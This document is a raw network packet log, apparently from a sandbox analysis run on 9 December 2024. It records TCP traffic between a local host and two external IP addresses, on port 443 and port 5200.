Dec 9, 2024 07:37:32.298906088 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.298913002 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.298937082 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.298955917 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.306965113 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.306983948 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.307163000 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.307173967 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.307215929 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556155920 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556166887 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556209087 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556301117 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556318045 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556335926 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556354046 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556446075 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556451082 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556503057 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556525946 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556540012 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556540012 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556575060 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556588888 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556595087 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556602955 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556602955 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556667089 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556673050 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556708097 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556765079 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556782961 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556816101 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556821108 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556843996 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556852102 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556869030 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556884050 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556902885 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556905031 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556912899 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556960106 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556965113 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.556966066 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556976080 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.556991100 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557023048 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557029963 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557044983 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557125092 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557137966 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557163954 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557183027 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557183027 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557193041 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557223082 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557229996 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557260036 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557281017 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557308912 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557328939 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557353020 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557358980 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557382107 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557383060 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557396889 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557401896 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557416916 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557430029 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557465076 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557468891 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557471037 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557482958 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557518959 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557526112 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557533026 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557558060 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557559967 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557590008 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557617903 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557625055 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557636976 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557651043 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557671070 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557684898 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557715893 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557732105 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557750940 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557758093 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.557795048 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.557795048 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.558038950 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.566744089 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.566761017 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.566817999 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.566836119 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.566864967 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.572287083 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.572305918 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.572344065 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.572350979 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.572382927 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.578110933 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.578125954 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.578167915 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.578176975 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.578210115 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.578950882 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:32.579060078 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:32.579169035 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.579181910 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.579221010 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.579236031 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.583178997 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.583198071 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.583234072 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.583242893 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.583277941 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.585485935 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.585505009 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.585535049 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.585546970 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.585572004 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.589200974 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.589215994 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.589265108 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.589272976 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.589297056 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.594125032 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.594144106 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.594173908 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.594181061 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.594223022 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.631699085 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.647336960 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.670942068 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.670958042 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.671078920 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.671107054 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.671149015 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.673214912 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.673237085 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.673305988 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.673315048 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.673356056 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.677453995 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.677474022 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.677546024 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.677562952 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.677606106 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.678843021 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.678865910 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.678924084 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.678931952 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.678972960 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.682565928 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.682586908 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.682656050 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.682666063 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.682706118 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.688751936 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.688767910 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.688838959 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.688853025 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.688893080 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.694530010 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.694545984 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.694616079 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.694628000 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.694668055 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.698321104 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:32.698388100 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:32.700969934 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.700984001 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.701072931 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.701083899 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.701122999 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.759421110 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.759439945 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.759494066 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.759510994 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.759566069 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.764448881 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.764467955 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.764509916 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.764517069 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.764530897 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.764560938 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.770083904 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.770100117 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.770155907 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.770164013 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.770203114 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.771708012 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.771725893 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.771775007 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.771790981 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.771893978 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.775856018 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.775871992 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.775928974 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.775937080 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.775979996 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.777121067 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.777134895 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.777190924 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.777201891 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.777240038 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.781174898 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.781191111 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.781258106 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.781265974 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.781306028 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.786890984 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.786906004 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.786966085 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.786976099 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.787017107 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.817857027 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:32.863395929 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.863410950 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.863517046 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.863533974 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.863579035 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.865595102 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.865613937 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.865683079 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.865690947 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.865732908 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.869668007 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.869688034 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.869729996 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.869739056 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.869769096 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.869785070 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.871145964 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.871170998 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.871225119 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.871232033 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.871268034 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.871290922 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.874927998 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.874943018 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.875013113 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.875020981 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.875062943 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.881086111 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.881100893 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.881162882 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.881171942 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.881211042 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.886930943 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.886945963 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.887001038 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.887015104 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.887057066 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.892976046 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.892990112 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.893030882 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.893045902 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.893059015 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.893121958 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.948187113 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.948257923 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.948270082 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.948281050 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.948314905 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.948348999 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.948605061 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.948617935 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.948627949 CET	49737	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.948632956 CET	443	49737	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.963674068 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.963690042 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.963747025 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.963767052 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.963805914 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.969722986 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.969736099 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.969783068 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:32.969799042 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:32.969841957 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.055572987 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.055588007 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.055675983 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.055691004 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.055737972 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.061633110 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.061647892 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.061712027 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.061727047 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.061763048 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.066945076 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.066960096 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.067028046 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.067040920 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.067081928 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.073115110 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.073129892 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.073183060 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.073198080 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.073240995 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.078886032 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.078928947 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.078982115 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.078999043 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.079021931 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.079041958 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.085449934 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.085464954 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.085535049 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.085551023 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.085591078 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.155916929 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.155932903 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.156008959 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.156025887 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.156064987 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.162040949 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.162056923 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.162101030 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.162113905 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.162131071 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.162151098 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.247596025 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.247612000 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.247708082 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.247730970 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.247775078 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.253721952 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.253762007 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.253823996 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.253834963 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.253880024 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.259793043 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.259809017 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.259880066 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.259887934 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.259927034 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.265170097 CET	443	49738	154.216.20.243	192.168.2.4
